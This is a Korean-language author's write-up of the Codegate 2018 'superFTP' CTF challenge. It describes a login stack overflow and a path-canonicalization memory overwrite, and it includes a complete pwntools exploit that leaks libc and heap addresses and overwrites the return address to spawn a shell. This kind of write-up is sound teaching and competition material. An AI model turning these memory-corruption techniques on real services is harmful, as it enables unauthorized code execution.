By pesante | February 16, 2018
Codegate2018 superFTP 출제자 WriteUp
안녕하세요.
블랙펄시큐리티 pesante
입니다.
2018년도 코드게이트에 출제했던 문제 superFTP
에 대한 풀이를 써보려고 합니다.
사실 superFTP는 생각보다 선택지가 많지 않고 취약점도 쉽게 트리거할 수 있는 문제입니다. 하지만 c++로 제작되고 보호기법이 모두 걸려있다 보니 분석이 오래 걸릴 수 있습니다.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
해당 바이너리에서 취약점이 존재하는 기능들은 다음과 같습니다.
- login 기능을 할때 id와 pw를 입력받는 과정에서
스택 오버플로우
가 존재합니다.- Download file을 할 시 URL을 입력받게 되는데
경로를 Canonicalization
합니다.
- 즉 “/path1/path2/../path3”를 전달하면 /../를 앞 부분의 슬래시를 찾아 지우고 “/path1/path3”로 변환합니다.
- 하지만 “/../a”와 같은 경우 앞부분의 슬래시가 존재하지 않기 때문에 메모리에서 다음 슬래시(0x2f)값이 나올때까지 찾아 바꾸게 됩니다.
즉 메모리에서 0x2f가 존재하는 부분을 덮을 수 있습니다.
사실 1번은 함정으로 넣으려고 했던건데, 급하게 문제를 출제하는 바람에 의도하지 않은 풀이가 발생했습니다.
다음은 PPP팀에서 푼 writeup입니다.
위의 링크에서는 canary가 랜덤으로 생성되므로 0x2f가 들어갈 때 카나리를 leak하고 1번 취약점을 통해 exploit을 했습니다. 쉘을 획득 가능하지만 브루트포싱을 해야 하므로 조금 시간이 걸릴 수 있습니다.
사실 의도한 풀이 과정은 다음과 같습니다.
- join (“/bin/sh 삽입”)
- login을 0x2e 반복(main 함수의 로그인 횟수를 0x2e로 설정)
- 파일 다운로드 기능을 통해 url을 “/../a”처럼 설정하면 heap에 url이 할당되어 0x2f까지 거슬러올라가 String 객체의 길이를 overwrite
- print information 기능을 선택하면 길이가 덮인 String 객체를 출력해주면서 libc의 주소와 heap의 주소를 leak
- admin으로 로그인하여 (로그인 횟수 0x2f로 변경됨) debug mode로 들어가면 debug 기능을 통해 각 함수를 디버깅 가능. 아까와 같은 url을 canonicalization하는 함수가 있는데 디버깅 모드로 호출하는 함수는 힙이 아닌 스택에 url이 할당됨. 따라서 main에 있는 로그인 횟수(0x2f)를 찾아 위로 스택을 덮게 되고 ret을 overwrite 할 수 있음
- system 함수는 leak한 libc를 통해 오프셋을 더하여 구할 수 있고 “/bin/sh”의 주소는 leak한 heap을 통해 오프셋을 더하여 구할 수 있으므로 쉘을 획득 하는 것이 가능
단, url을 canonicalization 할 때 문자열을 뒤집어서 결과를 구하는데 overwrite 될 때도 뒤집어진 채로 들어가므로 system 함수와 “/bin/sh”의 주소를 거꾸로 넣어야 합니다.
해당 문제에 대한 풀이는 다음과 같습니다.
#-*- coding: utf-8 -*-
from pwn import *
s=remote('127.0.0.1', 8888)
raw_input()
leak_system_offset=0x176068
leakh_binaddr_offset=0xb
system_addr=0
bin_addr=0
#join 을 통한 /bin/sh 삽입
print s.recv(1024)
s.send(p32(1))
print s.recv(1024)
s.send('/estt/bin/sh'+'\n')
print s.recv(1024)
s.send('47'+'\n')
print s.recv(1024)
s.send('test'+'\n')
print s.recv(1024)
s.send('test'+'\n')
print s.recv(1024)
#login 0x2e만큼 반복
for i in range(0, 46):
s.send(p32(3))
s.send('test'+'\n')
print s.recv(1024)
s.send('test'+'\n')
print s.recv(1024)
#heap leak을 통해 libc와 heap 주소 얻어옴
s.send(p32(5))
print s.recv(1024)
s.send('/../a'+'\n')
print s.recv(1024)
s.send(p32(2))
s.recvuntil('Name : ')
leakdata=s.recv(1024)
libc=u32(leakdata[28:32])
heap=u32(leakdata[32:36])
system_addr=libc-leak_system_offset
bin_addr=heap-leakh_binaddr_offset
print hex(libc)
print hex(heap)
print hex(system_addr)
print hex(bin_addr)
#admin login과 동시에 main의 로그인 횟수 변수는 0x2f가 됨
s.send(p32(3))
s.send('admin'+'\n')
print s.recv(1024)
s.send('P3ssw0rd'+'\n')
print s.recv(1024)
#debug
s.send(p32(7))
print s.recv(1024)
#debugF을 통해 URL Canonicalization 함수 호출
s.send(p32(8))
s.send(p32(1))
print s.recv(1024)
#main의 0x2f를 덮으려면 두 번 슬래시를 넘어가야 함. /../../를 통해 main부터 ret을 거꾸로 덮음
s.send('/../../'+p32(bin_addr)[::-1]*3+p32(system_addr)[::-1]*2+'\n')
s.interactive()
모두 문제 푸시느라 수고하셨습니다!